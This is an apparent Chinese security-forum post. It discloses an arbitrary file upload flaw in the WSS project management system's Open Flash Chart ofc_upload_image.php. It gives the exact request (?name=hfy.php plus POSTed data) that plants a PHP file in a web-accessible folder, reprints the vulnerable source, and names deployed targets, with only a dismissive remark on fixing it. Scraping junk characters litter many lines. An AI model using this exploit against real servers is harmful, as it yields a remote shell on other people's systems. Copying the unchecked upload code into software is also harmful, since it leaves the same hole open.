WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
. ?: H1 g- F% n8 a' `) I 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
# k6 S5 @; X" |, P& U, {6 l/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

  Q9 C& F' Z% ^' p# g" u) wPost任意数据
0 e- L! t6 Y  t) P7 Y, f+ W保存位置http://localhost/chart/tmp-upload-images/hfy.php

  `, t9 F/ S5 a9 E, H. T* ~3 G0 o# }" e
5 Y. `" Q3 T" z5 d( H, j) {: G; \最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
. C. o6 Q! N) Q5 J6 K//
  B. H6 J8 J/ a! {( |6 x
/*

& [  H2 k2 M9 t3 [: yprint_r( $_GET );
" y. V5 z+ ^2 l# J! d( x9 zprint_r( $_POST );
, ~- p: Y  E( u6 G% b7 iprint_r( $_FILES );

print_r( $GLOBALS );
6 ], b: Y  m( Z; Bprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
# w5 \; X& P7 U
7 ?3 H2 d8 ]9 \*/
$ v1 ~  g* G: i" I" U0 c1 y* d// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

- ]1 h. C+ J+ y% Lif (!file_exists($default_path)) mkdir($default_path, 0777, true);
( \1 s5 R+ U" M& E+ j' T
// full path to the saved image including filename //
6 g6 C6 l+ d' D$destination = $default_path . basename( $_GET[ 'name' ] );

" j* ~6 j. [; X8 s5 l5 }) ?, ?echo 'Saving your image to: '. $destination;
4 H. E- _: ]# |$ I3 D// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
( Q( w' f% A; h3 K, x( a2 q// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
& T4 O1 g- G; |8 D( ~* g5 \
# W0 h% u+ [* }. d, Z" Y//
+ R. b; m% A/ g% A$ t// LOOK:
//
exit();
//
// PHP5:
//
, |3 e  m1 i1 i. M) B( W; e

// default path for the image to be stored //
; }, R' h3 W& t; O* x% E, V$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

' ?0 T  q6 c: K8 j& I' ]" o// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
9 I+ X) ?! E, d6 V: k5 b; p6 q
+ X' t# e6 `$ A7 f: H+ ]- q// move the image into the specified directory //
9 \+ o  G8 m( R0 V" L9 o# qif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
, Y4 f2 Q: Z/ ~* w  u} else {
$ z; a/ f, a# K, ]; k. r8 I% S& I/ r    echo "FILE UPLOAD FAILED";
/ E/ T  a& V+ o1 |1 N1 l# g/ d}

% d4 Z/ M& V- t+ o/ @5 z2 S  O
# R( n3 u- N0 v?>
7 A8 i% h/ o, |  t
6 N; j6 r* X7 \% J& K# `
- W) x/ _  E! L9 P* }8 t! n
6 u  J, l' d# h" U

. U; v7 h" E* S6 Z7 C+ p4 e2 i
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
6 [, r* U; J7 S5 g4 I
  @. D2 c8 y5 e7 N